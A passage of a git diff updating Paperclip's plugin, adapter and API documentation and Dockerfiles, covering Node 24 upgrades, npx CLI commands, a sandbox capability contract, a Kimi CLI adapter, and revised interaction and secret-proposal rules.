diff --git a/doc/plugins/LOCAL_PLUGIN_DEVELOPMENT.md b/doc/plugins/LOCAL_PLUGIN_DEVELOPMENT.md
index 124ba3c0acd..b3a489815da 100644
--- a/doc/plugins/LOCAL_PLUGIN_DEVELOPMENT.md
+++ b/doc/plugins/LOCAL_PLUGIN_DEVELOPMENT.md
@@ -11,7 +11,7 @@ pause controls, and consistent audits instead of hidden daemon behavior.
 
 ## Prerequisites
 
-- Node.js 22+ and `pnpm`.
+- Node.js 24.11+ and `pnpm`.
 - A local Paperclip checkout you can run from source. Local plugin installs read source from disk, so the running server must be able to see the path you give it.
 
 ## The five steps
diff --git a/doc/plugins/PLUGIN_SPEC.md b/doc/plugins/PLUGIN_SPEC.md
index 31a01547076..45fba6be867 100644
--- a/doc/plugins/PLUGIN_SPEC.md
+++ b/doc/plugins/PLUGIN_SPEC.md
@@ -245,10 +245,10 @@ This on-disk model is the reason the current implementation expects a persistent
 Paperclip should add CLI commands:
 
 - `pnpm paperclipai plugin list`
-- `pnpm paperclipai plugin install <package[@version]>`
-- `pnpm paperclipai plugin uninstall <plugin-id>`
-- `pnpm paperclipai plugin upgrade <plugin-id> [version]`
-- `pnpm paperclipai plugin doctor <plugin-id>`
+- `npx paperclipai plugin install <package[@version]>`
+- `npx paperclipai plugin uninstall <plugin-id>`
+- `npx paperclipai plugin upgrade <plugin-id> [version]`
+- `npx paperclipai plugin doctor <plugin-id>`
 
 These commands are instance-level operations.
 
@@ -395,6 +395,11 @@ Rules:
   - `projects` → `projects.managed`
   - `routines` → `routines.managed`
   - `skills` → `skills.managed`
+- an `environmentDrivers` entry with `kind: "sandbox_provider"` declares sandbox
+  capabilities through `sandboxCapabilities`. See the
+  [sandbox provider capability contract](./SANDBOX_PROVIDER_CAPABILITIES.md) for
+  the supported keys, the worker-method prerequisites, and the narrowing and
+  failure rules.
 
 ## 11. Agent Tools
 
@@ -1512,7 +1517,7 @@ When a plugin is uninstalled, the host must handle plugin-owned data explicitly.
 3. Plugin-owned data (`plugin_state`, `plugin_entities`, `plugin_jobs`, `plugin_job_runs`, `plugin_webhook_deliveries`, `plugin_config`) is retained for a configurable grace period (default: 30 days).
 4. During the grace period, the operator can reinstall the same plugin and recover its state.
 5. After the grace period, the host purges all plugin-owned data for the uninstalled plugin.
-6. The operator may force-purge immediately via CLI: `pnpm paperclipai plugin purge <plugin-id>`.
+6. The operator may force-purge immediately via CLI: `npx paperclipai plugin purge <plugin-id>`.
 
 ### 25.2 Upgrade Data Considerations
 
@@ -1676,7 +1681,7 @@ expect(data.syncedCount).toBeGreaterThan(0);
 
 For developing a plugin against a running Paperclip instance:
 
-- The operator installs the plugin from a local path: `pnpm paperclipai plugin install ./path/to/plugin`
+- The operator installs the plugin from a local path: `npx paperclipai plugin install ./path/to/plugin`
 - The host watches the plugin directory for changes and restarts the worker on rebuild.
 - `devUiUrl` in plugin config can point to a local Vite dev server for UI hot-reload.
 - The plugin settings page shows real-time logs from the worker for debugging.
diff --git a/doc/plugins/SANDBOX_PROVIDER_CAPABILITIES.md b/doc/plugins/SANDBOX_PROVIDER_CAPABILITIES.md
new file mode 100644
index 00000000000..c8316567992
--- /dev/null
+++ b/doc/plugins/SANDBOX_PROVIDER_CAPABILITIES.md
@@ -0,0 +1,180 @@
+# Sandbox provider capability contract
+
+A sandbox provider plugin declares an environment driver with
+`kind: "sandbox_provider"`. Each driver can declare a set of optional sandbox
+capabilities. This document is the contract for a third-party provider author.
+It states what to declare, which worker methods each capability needs, what an
+omitted key means, and when the host narrows or denies a capability.
+
+Read [Sandbox file-sync lifecycle hooks](./SANDBOX_FILE_SYNC_HOOKS.md) for the
+native file-transfer hooks. Read the driver declaration shape in
+[the plugin specification](./PLUGIN_SPEC.md).
+
+## How the host resolves an effective capability
+
+The host never trusts a declaration alone. For every run it resolves each
+capability as the intersection of three inputs:
+
+```
+effective = verified ∩ declared ∩ narrowing
+```
+
+- **verified** — the methods the live worker advertised in
+  `InitializeResult.supportedMethods`. The host maps each capability to the
+  worker methods it needs (see the table below). A capability is verified only
+  when the worker advertises every required method. An empty or missing method
+  list verifies nothing, so every capability resolves `false`.
+- **declared** — the values in the driver declaration. A declared key is
+  optional (see the next section).
+- **narrowing** — a per-run restriction from the lease policy or the resolved
+  provider config. A narrowing can only remove a capability, never add one.
+
+A capability is effective only when all three allow it. A declaration therefore
+never grants a capability that the worker did not verify.
+
+## The declaration is optional and partial
+
+Declare capabilities through the nested `sandboxCapabilities` object on the
+driver declaration:
+
+```ts
+environmentDrivers: [
+  {
+    driverKey: "my-provider",
+    kind: "sandbox_provider",
+    displayName: "My Provider",
+    configSchema: { type: "object", properties: {} },
+    sandboxCapabilities: {
+      reusableLeases: true,
+      nativeSyncIn: true,
+      nativeSyncOut: true,
+      persistentProcessSessions: false,
+      independentControlCommands: false,
+      incrementalSessionOutput: false,
+    },
+  },
+]
+```
+
+Every key is optional. For a valid, identified provider each key has one of three
+states:
+
+- **Omitted** — the host defers to verified worker discovery. The capability is
+  effective when the worker advertises the required methods and no narrowing
+  removes it. Omission is the correct default for a provider that follows the
+  standard method contract. `reusableLeases` and `incrementalSessionOutput` are
+  the two exceptions: an omitted key never grants either capability. Both are
+  opt-in (see the next two sections).
+- **`false`** — the host narrows the capability to off. The capability is never
+  effective, even when the worker advertises the required methods.
+- **`true`** — the host still requires the verified prerequisites. A `true`
+  value never grants a capability without them. It documents intent and lets the
+  host present the capability, but the worker must still advertise the required
+  methods.
+
+## Reusable leases need an explicit opt-in
+
+Reusable leases are the exception to the omission rule above. The host grants
+reusable-lease acquisition only when the declaration sets `reusableLeases` to
+`true`. The provider opts in through one of two fields:
+
+- the nested `sandboxCapabilities.reusableLeases: true`, or
+- the legacy `supportsReusableLeases: true`.
+
+An omitted key leaves `reusableLeases` unset. An unset key does not make the
+provider eligible for reusable-lease acquisition, and it does not advertise
+provider-level reusable support. The host then always creates an ephemeral lease.
+
+The opt-in never removes the other prerequisites. The worker must still verify
+all three lifecycle methods, `environmentResumeLease`, `environmentReleaseLease`,
+and `environmentDestroyLease`, and per-run narrowing still applies.
+
+The two opt-in fields have a fixed precedence. The host keeps the legacy
+`supportsReusableLeases` field for backward compatibility, and it folds the field
+into `sandboxCapabilities.reusableLeases`.
+
+- When only `supportsReusableLeases` is present, the host reads it as
+  `reusableLeases`.
+- When both `supportsReusableLeases` and `sandboxCapabilities.reusableLeases` are
+  present, the nested value wins.
+
+A manifest with legacy `true` and nested `false` therefore resolves to `false`.
+Prefer the nested `sandboxCapabilities.reusableLeases` in a new manifest.
+
+## Incremental session output needs an explicit opt-in
+
+Incremental session output is the second exception to the omission rule. The host
+selects the session-output streaming path only when the declaration sets
+`incrementalSessionOutput` to `true`. An omitted key resolves the capability to
+`false`, so the host keeps the output-file poll path.
+
+The reason is that this key is a behavioral guarantee, not a worker-method
+property. A generic one-shot provider can keep persistent process sessions and run
+independent control commands, yet it never emits incremental stdout and stderr
+from a live session. The two broad capabilities do not imply incremental output,
+so the host requires the provider to declare the behavior. A provider that streams
+incremental session output declares `sandboxCapabilities.incrementalSessionOutput:
+true`; every other provider omits the key and keeps the poll path.
+
+The opt-in never removes the prerequisites. The worker must still verify
+`environmentExecute`, and per-run narrowing still applies. A config-resolution
+failure narrows the capability to off (see [Failure behavior](#failure-behavior)).
+
+## The capabilities and their worker-method prerequisites
+
+| Capability | Required worker methods | Meaning |
+| --- | --- | --- |
+| `reusableLeases` | `environmentResumeLease`, `environmentReleaseLease`, **and** `environmentDestroyLease` | The host retains a provider lease and resumes it across runs. |
+| `nativeSyncIn` | `environmentSyncIn` | The host transfers files into the sandbox through the native inbound hook. |
+| `nativeSyncOut` | `environmentSyncOut` | The host transfers files out of the sandbox through the native outbound hook. |
+| `persistentProcessSessions` | `environmentExecute` | The provider keeps a persistent process session open across commands. |
+| `independentControlCommands` | `environmentExecute` | The provider runs a one-shot control command beside a long-lived command. |
+| `incrementalSessionOutput` | `environmentExecute` | The provider streams incremental stdout and stderr from a live session. Opt-in: an omitted key resolves `false`. |
+
+Reusable leases need all three lifecycle methods. The host resumes a lease with
+`environmentResumeLease`, ends it with `environmentReleaseLease`, and tears down a
+stale lease with `environmentDestroyLease`. The reuse path destroys a stale lease
+when a resume fails, so a provider that cannot destroy a lease would strand it. A
+worker that omits any of the three methods never gets reusable leases, even with a
+positive declaration. The host then always creates an ephemeral lease.
+
+The host advertises and consumes the two native sync methods as a pair. Define
+both or neither. See [Sandbox file-sync lifecycle hooks](./SANDBOX_FILE_SYNC_HOOKS.md).
+
+## Target and config narrowing
+
+A narrowing removes a capability that the provider verified and declared but that
+this run cannot use.
+
+- **Ephemeral lease policy.** A lease that the host does not retain never reuses.
+  The host narrows `reusableLeases` to off for an ephemeral lease and keeps it on
+  only for a reuse-by-environment lease.
+- **Kubernetes Job backend.** A Job-backed lease, or a lease the host marked as
+  unable to run native file sync, disables native sync. The host narrows
+  `nativeSyncIn` and `nativeSyncOut` to off and keeps the base64-over-exec
+  fallback.
+
+## Failure behavior
+
+The host fails closed on two failure states. It never grants a capability from an
+unknown state.
+
+- **Config-resolution failure.** A provider whose config the host cannot resolve
+  is untrusted. The host narrows `persistentProcessSessions` and
+  `incrementalSessionOutput` to off instead of allowing either through an empty
+  config.
+- **Exact-plugin identity failure.** A retained lease pins the exact plugin that
+  acquired it. When that plugin is absent, or when it no longer declares this
+  provider key with the `sandbox_provider` kind, the host cannot establish the
+  declaration. It resolves every effective capability to `false`, no matter what
+  methods a stale worker still advertises. An omitted `sandboxCapabilities`
+  object on a valid, identified plugin is a different state; the host defers to
+  verified discovery for that case.
+
+## Concurrency capabilities are not part of the contract
+
+Earlier drafts listed two concurrency keys, `concurrentSyncAndExec` and
+`concurrentSyncOperations`. The runtime never exposed a scheduling choice that
+read either key, so a declaration had no effect. The host removed both keys. The
+strict capability validator now rejects them as unknown keys. The host can
+reintroduce a concurrency capability when a runtime path enforces it.
diff --git a/docker/Dockerfile.onboard-smoke b/docker/Dockerfile.onboard-smoke
index 63689c6c8ae..3823bf3f090 100644
--- a/docker/Dockerfile.onboard-smoke
+++ b/docker/Dockerfile.onboard-smoke
@@ -1,6 +1,6 @@
 FROM ubuntu:24.04
 
-ARG NODE_MAJOR=20
+ARG NODE_MAJOR=24
 ARG PAPERCLIPAI_VERSION=latest
 ARG HOST_UID=10001
 
diff --git a/docker/agent-runtime/Dockerfile.base b/docker/agent-runtime/Dockerfile.base
index 775a2483139..335edca31ef 100644
--- a/docker/agent-runtime/Dockerfile.base
+++ b/docker/agent-runtime/Dockerfile.base
@@ -1,5 +1,5 @@
 # syntax=docker/dockerfile:1.6
-ARG NODE_VERSION=22
+ARG NODE_VERSION=24
 ARG TARGETARCH
 
 # ---------- Stage 1: build agent-shim ----------
diff --git a/docker/agent-runtime/README.md b/docker/agent-runtime/README.md
index 9783495173a..2d9c2c3f57c 100644
--- a/docker/agent-runtime/README.md
+++ b/docker/agent-runtime/README.md
@@ -4,7 +4,7 @@ Container images for running coding-agent harnesses in sandboxed environments (f
 
 ## Image Lineup
 
-- **`agent-runtime-base`**: Foundation. Ubuntu 22.04 + Node 22 + git + tini + non-root user (uid 1000) + the agent shim.
+- **`agent-runtime-base`**: Foundation. Ubuntu 22.04 + Node 24 + git + tini + non-root user (uid 1000) + the agent shim.
 - **`agent-runtime-opencode`**: Extends base with `opencode-ai` globally installed.
 - **`agent-runtime-pi`**: Extends base with `@mariozechner/pi-coding-agent`.
 - **`agent-runtime-codex`**: Extends base with `@openai/codex`.
@@ -16,7 +16,7 @@ Container images for running coding-agent harnesses in sandboxed environments (f
 
 **OS & Runtime:**
 - Ubuntu 22.04
-- Node.js 22 (via NodeSource APT repo)
+- Node.js 24 (via NodeSource APT repo)
 - git
 - tini (PID-1 init, ensures signal propagation)
 - Non-root user `paperclip` (uid/gid 1000)
diff --git a/docker/hermes-gateway-smoke/Dockerfile b/docker/hermes-gateway-smoke/Dockerfile
index 5939c7df6ea..5349441e4f3 100644
--- a/docker/hermes-gateway-smoke/Dockerfile
+++ b/docker/hermes-gateway-smoke/Dockerfile
@@ -1,6 +1,6 @@
 # syntax=docker/dockerfile:1.6
 ARG HERMES_VERSION=0.17.0
-FROM node:22-bookworm-slim
+FROM node:24-bookworm-slim
 
 ARG HERMES_VERSION
 
diff --git a/docker/openclaw-smoke/Dockerfile b/docker/openclaw-smoke/Dockerfile
index abdbaf14765..b644bd5f6a9 100644
--- a/docker/openclaw-smoke/Dockerfile
+++ b/docker/openclaw-smoke/Dockerfile
@@ -1,4 +1,4 @@
-FROM node:22-alpine
+FROM node:24-alpine
 
 WORKDIR /app
 COPY server.mjs /app/server.mjs
diff --git a/docker/untrusted-review/Dockerfile b/docker/untrusted-review/Dockerfile
index c8b1f4323ab..b40e59a96b6 100644
--- a/docker/untrusted-review/Dockerfile
+++ b/docker/untrusted-review/Dockerfile
@@ -1,4 +1,4 @@
-FROM node:lts-trixie-slim
+FROM node:24-trixie-slim
 
 RUN apt-get update \
   && apt-get install -y --no-install-recommends \
diff --git a/docs/adapters/claude-local.md b/docs/adapters/claude-local.md
index a154327f5d9..e158877a664 100644
--- a/docs/adapters/claude-local.md
+++ b/docs/adapters/claude-local.md
@@ -102,7 +102,7 @@ therefore shadows any Codex login already present inside the sandbox image.
 For manual local CLI usage outside heartbeat runs (for example running as `claudecoder` directly), use:
 
 ```sh
-pnpm exec paperclipai agent local-cli claudecoder --company-id <company-id>
+npx paperclipai agent local-cli claudecoder --company-id <company-id>
 ```
 
 This installs Paperclip skills in `~/.claude/skills`, creates an agent API key, and prints shell exports to run as that agent.
diff --git a/docs/adapters/codex-local.md b/docs/adapters/codex-local.md
index 526ce110134..7311e79ffb6 100644
--- a/docs/adapters/codex-local.md
+++ b/docs/adapters/codex-local.md
@@ -131,17 +131,17 @@ fleet with ChatGPT-subscription credentials.
   classification in rather than making `codex-home.ts` inspect execution
   targets on its own.
 
-Because the warning touches authentication behavior, implementation must go
-through the security-review gate. Treat this docs section as the follow-up
-implementation spec, not as authorization to add the warning in a docs-only
-change.
+Because the warning touches authentication behavior, its implementation
+needs a maintainer security review before merge. Treat this docs section as
+the follow-up implementation spec, not as authorization to add the warning in
+a docs-only change.
 
 ## Manual Local CLI
 
 For manual local CLI usage outside heartbeat runs (for example running as `codexcoder` directly), use:
 
 ```sh
-pnpm exec paperclipai agent local-cli codexcoder --company-id <company-id>
+npx paperclipai agent local-cli codexcoder --company-id <company-id>
 ```
 
 This installs any missing skills, creates an agent API key, and prints shell exports to run as that agent.
diff --git a/docs/adapters/external-adapters.md b/docs/adapters/external-adapters.md
index 3a6b4ee6c7e..5c2f6c31c7a 100644
--- a/docs/adapters/external-adapters.md
+++ b/docs/adapters/external-adapters.md
@@ -74,7 +74,7 @@ my-adapter/
     "picocolors": "^1.1.0"
   },
   "devDependencies": {
-    "@types/node": "^22.0.0",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.0"
   }
 }
diff --git a/docs/adapters/kimi-local.md b/docs/adapters/kimi-local.md
new file mode 100644
index 00000000000..78cf7cba81a
--- /dev/null
+++ b/docs/adapters/kimi-local.md
@@ -0,0 +1,84 @@
+---
+title: Kimi Code CLI
+summary: Kimi Code CLI local adapter setup and configuration
+---
+
+The `kimi_local` adapter runs the Kimi Code CLI (`kimi`) locally. It has two execution engines: the default **ACP engine** (`kimi acp`, streaming transcript with live tool status, matching `claude_local`/`gemini_local`) and a **CLI lane** (`kimi -p --output-format stream-json`) used as an automatic fallback. It supports session persistence, per-run skill delivery via `--skills-dir`, thinking-effort control, and structured output parsing.
+
+## Prerequisites
+
+- Kimi Code CLI installed (`kimi` command available; npm package `@moonshot-ai/kimi-code`)
+- Authentication configured via one of:
+  - `kimi login` (OAuth device flow; credentials stored under `$KIMI_CODE_HOME`, default `~/.kimi-code/`)
+  - A provider configured in Kimi's `config.toml` (`[providers.<name>]`)
+  - The `KIMI_MODEL_NAME` + `KIMI_MODEL_API_KEY` environment pair (optionally `KIMI_MODEL_BASE_URL`, `KIMI_MODEL_PROVIDER_TYPE`), set in the adapter env or server shell
+
+## Configuration Fields
+
+| Field | Type | Required | Description |
+|-------|------|----------|-------------|
+| `engine` | string | No | Execution engine: `acp` (default; streaming ACP lane via `kimi acp`), `cli` (headless `kimi -p` lane), or unset/`auto` (ACP with automatic CLI fallback when ACP prerequisites fail). |
+| `cwd` | string | Yes | Working directory for the agent process (absolute path; created automatically if missing when permissions allow) |
+| `model` | string | No | Kimi model alias (`provider/model`). Defaults to `kimi-code/kimi-for-coding`. When empty, Kimi uses `default_model` from its own `config.toml`. |
+| `promptTemplate` | string | No | Prompt used for all runs |
+| `instructionsFilePath` | string | No | Markdown instructions file prepended to the prompt. Sibling files in the same directory (`HEARTBEAT.md`, `SOUL.md`, `TOOLS.md`) are made readable via `--add-dir` on local runs. |
+| `effort` | string | No | Thinking effort (`low` \| `medium` \| `high` \| `max`). **CLI lane only**: forwarded as `KIMI_MODEL_THINKING_EFFORT` for effort-capable models (currently `kimi-code/k3`); `medium` maps to `high` since Kimi has no medium tier. Ignored for models without `support_efforts`, and not forwarded on the default ACP engine lane — pin `engine: cli` when effort control matters. |
+| `command` | string | No | CLI command override. Defaults to `kimi`. |
+| `extraArgs` | string[] | No | Additional CLI arguments appended to every run |
+| `env` | object | No | Environment variables (supports secret refs) |
+| `timeoutSec` | number | No | Process timeout (0 = no timeout) |
+| `graceSec` | number | No | Grace period before force-kill |
+
+## Execution Engine
+
+By default the adapter runs Kimi through the **ACP engine** (`kimi acp`, an Agent Client Protocol server over stdio), the same shared engine used by `claude_local`, `codex_local`, and `gemini_local`. ACP streams the transcript live: assistant text arrives as deltas and tool calls report a `pending`/`completed` status, so the issue thread updates continuously instead of in bursts.
+
+Engine selection (`engine` config field):
+
+- unset or `auto`: use ACP when its prerequisites pass (Node >= 20, resolvable `kimi acp` command, a bidirectional process target), otherwise fall back to the CLI lane with a diagnostic note.
+- `acp`: require ACP; startup failures surface as run errors rather than falling back.
+- `cli`: pin the headless CLI lane described below.
+
+The ACP lane reuses the shared acpx session codec, transcript parser, and CLI event formatter, so sessions, transcripts, and logs render identically to the other ACP adapters.
+
+## Headless Execution (CLI lane)
+
+Runs execute as `kimi -p <prompt> --output-format stream-json` (plus `-m <model>` when configured and `-r <sessionId>` when resuming). On local runs the adapter also passes `--add-dir <instructions-dir>` so the agent can read sibling instruction files, and `--skills-dir <dir>` when skills are desired (see below). The prompt is passed as an argument, not stdin. The adapter sets a headless-safe environment (`CI=1`, `NO_COLOR=1`, `KIMI_CODE_NO_AUTO_UPDATE=1`, and `TERM=dumb` when unset) so unattended heartbeats never block on interactive prompts, theme detection, or update preflight; user-configured env values always win.
+
+## Instructions Bundle
+
+When `instructionsFilePath` points at a managed instruction bundle, the entry file (e.g. `AGENTS.md`) is prepended to the prompt along with a directive that names its sibling files (`HEARTBEAT.md`, `SOUL.md`, `TOOLS.md`). On local runs the containing directory is exposed to Kimi via `--add-dir`, so the agent can actually open those companion files instead of only seeing the entry file.
+
+## Thinking Effort
+
+The `effort` field applies to the **headless CLI lane only** (`engine: cli`, or the automatic fallback when ACP prerequisites fail). On the default ACP engine lane it is currently **not forwarded**: Kimi's ACP interface exposes a separate `thinking` config option that Paperclip does not wire yet, so an effort configured on an ACP-lane agent leaves Kimi's own default behavior in place. Pin `engine: cli` when thinking-effort control matters. On the CLI lane, `effort` is forwarded as the `KIMI_MODEL_THINKING_EFFORT` operational override, which applies to Kimi providers including managed OAuth models. Kimi has no per-invocation effort flag and no `medium` tier, so `medium` is mapped to `high`; `low`, `high`, and `max` pass through. Effort is only sent for models that advertise `support_efforts` (currently `kimi-code/k3`) to avoid provider rejections; extend `EFFORT_CAPABLE_MODELS` in the adapter as more models gain support.
+
+## Session Persistence
+
+The adapter captures the Kimi session id from the trailing `session.resume_hint` meta event and persists it between heartbeats. On the next wake, it resumes the existing conversation with `-r <session_id>` so the agent retains context.
+
+Session resume is cwd-aware: if the working directory changed since the last run, a fresh session starts instead.
+
+If resume fails with an unknown/unrecoverable session error, the adapter automatically retries with a fresh session.
+
+## Skills Delivery
+
+Desired Paperclip skills are delivered from a dedicated per-run directory passed via `--skills-dir`, so skills load reliably and in isolation without writing into the shared `~/.kimi-code/skills` home. On remote runs the skills snapshot is synced to the target and `--skills-dir` points at that isolated copy — Paperclip never overwrites `$KIMI_CODE_HOME/skills`, so skills installed by the operator or other agents are left intact. `--skills-dir` is only passed when at least one skill is desired, so unconfigured agents keep Kimi's default skill discovery.
+
+### Control-plane skill
+
+`paperclipai agent local-cli <agentRef> -C <companyId>` installs the Paperclip control-plane skills into `~/.kimi-code/skills` (honoring `KIMI_CODE_HOME`), alongside the existing `~/.codex/skills` and `~/.claude/skills` targets. Kimi auto-discovers this home on every run, so the agent has the control-plane API reference (issue/comment/interaction routes) from turn one rather than rediscovering endpoints by trial and error. Pass `--no-install-skills` to skip. This is independent of the per-run `--skills-dir` delivery above, which only applies when an agent has explicitly configured skills.
+
+## Environment Test
+
+Use the "Test Environment" button in the UI to validate the adapter config. It checks:
+
+- Kimi CLI is installed and accessible (`kimi --version`)
+- Working directory is absolute and available (auto-created if missing and permitted)
+- Auth availability (OAuth credential/config files under `$KIMI_CODE_HOME`, or the `KIMI_MODEL_NAME` + `KIMI_MODEL_API_KEY` env pair)
+- A live hello probe (`kimi -p "Respond with hello." --output-format stream-json`) to verify CLI readiness
+
+## Notes
+
+- Both execution engines are supported: the ACP engine (`kimi acp`, default) and the headless CLI lane (fallback / `engine=cli`).
+- Available model aliases on a standard install: `kimi-code/kimi-for-coding` (K2.7 Coding), `kimi-code/kimi-for-coding-highspeed` (K2.7 Coding Highspeed), `kimi-code/k3` (K3).
diff --git a/docs/adapters/overview.md b/docs/adapters/overview.md
index 6fdf1723f34..55b0dcc5259 100644
--- a/docs/adapters/overview.md
+++ b/docs/adapters/overview.md
@@ -21,6 +21,7 @@ When a heartbeat fires, Paperclip:
 | [Claude Code](/adapters/claude-local) | `claude_local` | Runs Claude Code CLI locally, with a native ACP engine when available |
 | [Codex](/adapters/codex-local) | `codex_local` | Runs OpenAI Codex CLI locally, with a native ACP engine when available |
 | [Gemini CLI](/adapters/gemini-local) | `gemini_local` | Runs Gemini CLI locally (experimental — adapter package exists, not yet in stable type enum) |
+| [Kimi Code CLI](/adapters/kimi-local) | `kimi_local` | Runs Kimi Code CLI locally through ACP, with headless `-p` mode as a fallback |
 | OpenCode | `opencode_local` | Runs OpenCode CLI locally (multi-provider `provider/model`) |
 | Cursor | `cursor` | Runs Cursor in background mode |
 | Pi | `pi_local` | Runs an embedded Pi agent locally |
diff --git a/docs/api/issues.md b/docs/api/issues.md
index bebea9f76ea..b6ad1245745 100644
--- a/docs/api/issues.md
+++ b/docs/api/issues.md
@@ -179,7 +179,7 @@ POST /api/issues/{issueId}/comments
 
 ## Issue-Thread Interactions
 
-Interactions are structured cards in the issue thread. Agents create them when a board/user needs to choose tasks, answer questions, or confirm a proposal through the UI instead of hidden markdown conventions.
+Interactions are structured cards in the issue thread. Agents create them when a teammate needs to choose tasks, answer questions, or confirm a proposal through the UI instead of hidden markdown conventions.
 
 ### List Interactions
 
@@ -193,7 +193,7 @@ GET /api/issues/{issueId}/interactions
 POST /api/issues/{issueId}/interactions
 {
   "kind": "request_confirmation",
-  "resolverPolicy": "board_only",
+  "resolverPolicy": "human_only",
   "idempotencyKey": "confirmation:{issueId}:plan:{revisionId}",
   "title": "Plan approval",
   "summary": "Waiting for the board/user to accept or request changes.",
@@ -227,9 +227,11 @@ Supported `kind` values:
 - `request_checkbox_confirmation`: ask for one accept/reject decision over selected option ids
 - `request_item_verdicts`: collect approve/reject/defer verdicts per item
 
-`resolverPolicy: "board_only" | "board_or_agents"`. Omitted policy uses the company per-kind default: `ask_user_questions` defaults to `board_or_agents`; all other kinds default to `board_only`. `PATCH /api/companies/{companyId}` accepts `interactionResolverGovernance`, keyed by kind, with optional `defaultPolicy` and `cap`. A `board_only` cap wins, and the server snapshots `requestedResolverPolicy` plus `effectiveResolverPolicy` when the interaction is created.
+Create accepts optional canonical `resolverPolicy: "anyone" | "not_creator" | "human_only"`. Omit it for a normal interaction: every kind defaults to `anyone`, so any teammate with ordinary issue access may respond. Use `not_creator` when independent review is required and `human_only` when an agent must not decide. Deprecated `board_or_agents` and `board_only` inputs remain compatibility aliases and normalize to `anyone` and `human_only`.
 
-`addresseeAgentId` optionally targets a same-company agent. The addressee is woken with `interaction_pending`, and only that agent or a board user may resolve the card; the creator cannot address itself, tool-action confirmations with an addressee return `400`, and all low-trust/watchdog/same-run restrictions remain. Addressed pending cards are excluded from the company attention feed but remain available in the issue thread.
+The server snapshots immutable canonical `requestedResolverPolicy` and `effectiveResolverPolicy`, plus their provenance and source, when the interaction is created. `PATCH /api/companies/{companyId}` accepts `interactionResolverGovernance`, keyed by kind, with optional `defaultPolicy` and `cap`; governance may narrow but never widen the requested audience. Historical rows whose explicit-vs-default provenance cannot be proved retain their restrictions: legacy `board_or_agents` semantics migrate to `not_creator`, and legacy `board_only` semantics migrate to `human_only`.
+
+`addresseeAgentId` optionally targets a same-company agent. The addressee is woken with `interaction_pending`, and only that agent or a board user may resolve the card; the creator cannot address itself, tool-action confirmations with an addressee return `400`, and all low-trust, issue-access, and governance restrictions remain. Addressed pending cards are excluded from the company attention feed but remain available in the issue thread.
 
 For `request_confirmation`, `continuationPolicy: "wake_assignee"` wakes the assignee only after acceptance. Rejection records the reason and leaves follow-up to a normal comment unless the board/user chooses to add one.
 
@@ -243,7 +245,9 @@ POST /api/issues/{issueId}/interactions/{interactionId}/verdicts
 POST /api/issues/{issueId}/interactions/{interactionId}/withdraw
 ```
 
-Board users can resolve all interactions. Agent resolution requires the immutable effective policy to be `board_or_agents` — for addressed and unaddressed interactions alike — and addressed interactions further restrict agent resolution to their `addresseeAgentId`. Agent resolvers require authenticated run identity and `issue:mutate` scope; they cannot be the creator agent or source run; low-trust and watchdog actors are denied; and confirmations containing `payload.toolAction` are always board-only. Agent resolution records both agent and run attribution and fires the same continuation wakes.
+Board users can resolve all interactions. Under `anyone`, an eligible in-company agent may resolve through the same routes, including the creator agent or creating run. `not_creator` excludes those creators, and `human_only` excludes agents. Addressed interactions further restrict agent resolution to their `addresseeAgentId`. Agent resolvers require authenticated run identity and `issue:mutate` scope; low-trust and task-bridge actors are denied. A watchdog receives no special exception and is evaluated as an ordinary agent. Confirmations containing `payload.toolAction` are always `human_only`. Resolution records both agent and run attribution and fires the same continuation wakes.
+
+Resolving a card records the response only. Suggested-task creation, plan continuation, tool/provider calls, deployments, spend, hiring, secrets, and every other downstream effect must run their own authorization and approval checks.
 
 The creator agent or a board user may withdraw a pending interaction. Withdrawal records an optional reason, expires the interaction, and prevents later resolution. Low-trust and task-watchdog agent runs cannot withdraw interactions.
 
diff --git a/docs/api/secrets.md b/docs/api/secrets.md
index 2e4a9c017e7..5300eb8a872 100644
--- a/docs/api/secrets.md
+++ b/docs/api/secrets.md
@@ -22,6 +22,7 @@ GET /api/agents/me/secrets
   "secrets": [
     {
       "key": "github_token",
+      "secretRef": "11111111-1111-4111-8111-111111111111",
       "name": "GitHub token",
       "description": null,
       "delivery": "env",
@@ -34,9 +35,11 @@ GET /api/agents/me/secrets
 }
 ```
 
-`delivery` is `env`, `api`, or `both`. The list never returns values, secret
-IDs, binding IDs, or config paths. An `env.*` binding implies read access through
-this API; an `access.*` binding grants API access without environment injection.
+`delivery` is `env`, `api`, or `both`. `secretRef` is a stable opaque handle,
+not secret material or a capability; every consuming route re-authorizes it.
+The list never returns values, the internal `secretId` field, binding IDs, or
+config paths. An `env.*` binding implies read access through this API; an
+`access.*` binding grants API access without environment injection.
 
 Fetch a value only when it is needed. The request has no body and the response
 uses `Cache-Control: no-store`:
@@ -60,6 +63,61 @@ successful or failed value fetch is audited in both `secret_access_events` and
 `activity_log`; agents must not log or paste fetched values into issues,
 comments, or documents.
 
+## Agent Secret Proposals
+
+These routes use the same current run-bound agent JWT as the list and fetch
+routes:
+
+```
+POST /api/agents/me/secret-proposals
+GET /api/agents/me/secret-proposals
+DELETE /api/agents/me/secret-proposals/{proposalId}
+```
+
+An agent can ask Paperclip to bind an existing secret under a new path without
+knowing a secret ID. Set `kind` to `binding` and identify the source by the
+agent's own existing `env.*` or `access.*` config path:
+
+```json
+POST /api/agents/me/secret-proposals
+{
+  "kind": "binding",
+  "sourceConfigPath": "access.openai_api_key",
+  "configPath": "access.evals_openai_api_key",
+  "justification": "Use the existing OpenAI credential under the eval-specific alias"
+}
+```
+
+`sourceConfigPath` must resolve from the proposing agent's own binding. An
+unknown path or another agent's path returns `404`. A binding request must
+provide exactly one of `sourceConfigPath`, `secretId`, or `secretProposalId`.
+Omit `targetAgentId` to target the proposing agent; under the default policy a
+manager may instead target one of its reports. `configPath` accepts
+`env.<KEY>` for environment injection or `access.<ALIAS>` for API-only access.
+
+For a run with a checked-out origin issue, a successful proposal automatically
+creates a human-only **Confirm secret binding** card in that issue. API clients
+must not create a second interaction. The card contains only non-secret
+metadata: the source label, target agent, new config path, justification, and
+expiry.
+
+Selecting **Create binding** accepts the card and then triggers a separate,
+freshly authorized binding write. Card acceptance is not execution. Read
+`result.secretProposal.status` for the actual outcome:
+
+- `executed` means the binding write completed.
+- `failed` means the card was accepted but execution failed. The card renders
+  **FAILED**, exposes a non-secret `errorCode`, and Paperclip posts a **Secret
+  binding execution failed** comment with `Binding created: no`.
+- `rejected`, `withdrawn`, or `expired` means no binding was created.
+
+The card wakes the issue assignee after resolution. The wake payload includes
+`secretProposal.configPath`, `decision`, `executionStatus`, and instructions.
+After any secret card, call `GET /api/agents/me/secrets` again and confirm the
